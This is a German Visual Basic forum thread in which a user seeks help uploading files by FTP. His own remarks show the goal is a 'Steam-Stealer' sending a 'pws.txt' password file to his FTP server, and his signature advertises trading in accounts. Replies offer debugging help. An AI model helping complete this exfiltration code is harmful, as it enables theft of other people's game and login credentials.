Visual Basic Forum

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

Hey!
Ich hab mal wieder ne Frage!
Und zwar möchte ich eine Datei auf´n FTP uploaden.
Ich hab nur diesen Source gefunden ----->
http://www.vbarchiv.net/archiv/tipp_details.php?pid=1542
aber irgendwie kommen da Fehler Crying or Very sad

Tja und jezt hab ich mal wieder kP und frage euch nach Rat.

[code]Private Sub Form_Load()
' Für Fehlerauswertung...
Dim bError As Boolean

Private Sub Inet1_StateChanged(ByVal State As Integer)
' Bei Fehler...
If State = icError Then
bError = True
End If
End Sub

Dim sLocalFile As String
Dim sRemoteFile As String

bError = False
With Inet1
.AccessType = icUseDefault

' Protokoll auf FTP setzen und Port 21 verwenden
.Protocol = icFTP
.RemotePort = 21

' Name des FTP-Servers, zu dem verbunden werden soll
.URL = "******"

' Benutzer-Authentifizierung
.UserName = "******"
.Password = "******"

' Datei, die hochgeladen werden soll (lokal)
sLocalFile = App.Path & "\ftp\1.txt"

' Verzeichnis und Dateiname der Zieldatei auf dem FTP-Server
sRemoteFile = "/upload/ftp/1.txt"

' Upload ausführen
.Execute , "PUT " & sLocalFile & " " & sRemoteFile

' Warten, bis Vorgang abgeschlossen
Do While .StillExecuting And Not bError
DoEvents
Loop

If Not bError Then
' Upload war erfolgreich

Else
' Fehler
MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With

End Sub
[/code]

Alle "******" hab ich natürlich durch meine Benutzerdaten ersetzt.
Ich hoffe ihr könnt mir helfen.

Ach ja hier im Board hab ich zwar ein Steam-Stealer gefunden aber da bekomme ich es genau so wenig hin Embarassed

Hab noch was gefunden (Ich mach aber wieder irgend ein fehler!
[code]
Inet1.AccessType = icUseDefault

Inet1.Protocol = icFTP

Inet1.RemoteHost = "ftp.yourserver.yo.funpic.de"

Inet1.RemotePort = "21"

Inet1.Password = "password"

Inet1.UserName = "username"

Inet1.Execute "Put C:\pws.txt pws.txt"
Do
DoEvents
Loop Until Not Inet1.StillExecuting[/code]
_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Es wäre praktisch wenn du uns noch sagen würdest was für ein Fehler kommt und in welcher Zeile.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

killer110_ · Poster Anmeldedatum: 16.04.2007 Beiträge: 165

Also deb ersten Source benutzte ich auch imma und es funkt #1!!!
_________________

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

wie wäre es, wenn jemand ein neues Projekt erstellt und alles so einrichtet, das es funzt.
Damit ich es downloaden kann und meinen Fehler so sehe.
Und nein ich will natürlich KEIN C&P machen sondern verstehen.
wäre echt nice von euch.

Meine ICQ UIN 393-236-520
Falls noch was ist!
_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Wie wärs wenn du dich selbst ein bisschen bemühst und nicht andere darum bittest.
Mit einer Aussage wie dieser...

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

Kampfer_ · Newbie Anmeldedatum: 11.06.2007 Beiträge: 1

Ich denke er hat das Microsoft Internet Transfer Control 6.0 vergessen einzubauen.
Es wird benötigt da sont der Fehler: Variable not Found kommt.

Edit:
sry vergessen zu lesen ....
_________________

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

So mit Hilfe von "helo" habe ich den Upload FAST hinbekommen. So jetzt, wenn ich auf "upload" klicke kommt ein Fehler
"Unable to connect to remotserver"
wenn ich nun auf debuggen klicke wird die Rot markierte Zeile angezeigt!

[code]Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Dim sLocalFile As String
Dim sRemoteFile As String

bError = False
With Inet1
.AccessType = icUseDefault

' Protokoll auf FTP setzen und Port 21 verwenden
.Protocol = icFTP
.RemotePort = "21"

' Name des FTP-Servers, zu dem verbunden werden soll
.URL = "****.1gb.in"

' Benutzer-Authentifizierung
.UserName = "*************"
.Password = "*************"

' Datei, die hochgeladen werden soll (lokal)
sLocalFile = "C:\programme\PsYkO\1.txt"

' Verzeichnis und Dateiname der Zieldatei auf dem FTP-Server
sRemoteFile = "/TuT by PsYkO/1.txt"

.Execute , "PUT " & sLocalFile & " " & sRemoteFile

Do While .StillExecuting And Not bError
DoEvents
Loop

If Not bError Then

Else

MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With

Timer1.Enabled = False

End Sub
[/code]

.Execute , "PUT " & sLocalFile & " " & sRemoteFile

Nun dachte ich mir, das ich vielleicht den Pfad nicht richtig angegeben habe, aber irgendwie müsste er doch stimmen Very Happy

_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

*Push* bitte helft mir Sad

_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

Marduk_ · « Moderator » Anmeldedatum: 17.06.2007 Beiträge: 389

Probier es doch mal so wie hier
http://www.vbarchiv.net/archiv/tipp_759.html

also in einer Funktion das ganze
[code]Public Function FileUpload( _
ByVal sLocalFilename As String, _
ByVal sRemoteFilename As String, _
Optional ByVal nTransferType As eTransferType = _
FTP_TRANSFER_TYPE_BINARY) As Boolean

FileUpload = FtpPutFile(hConnection, _
sLocalFilename, sRemoteFilename, nTransferType, 0)
End Function[/code]

anstatt .execute ...
_________________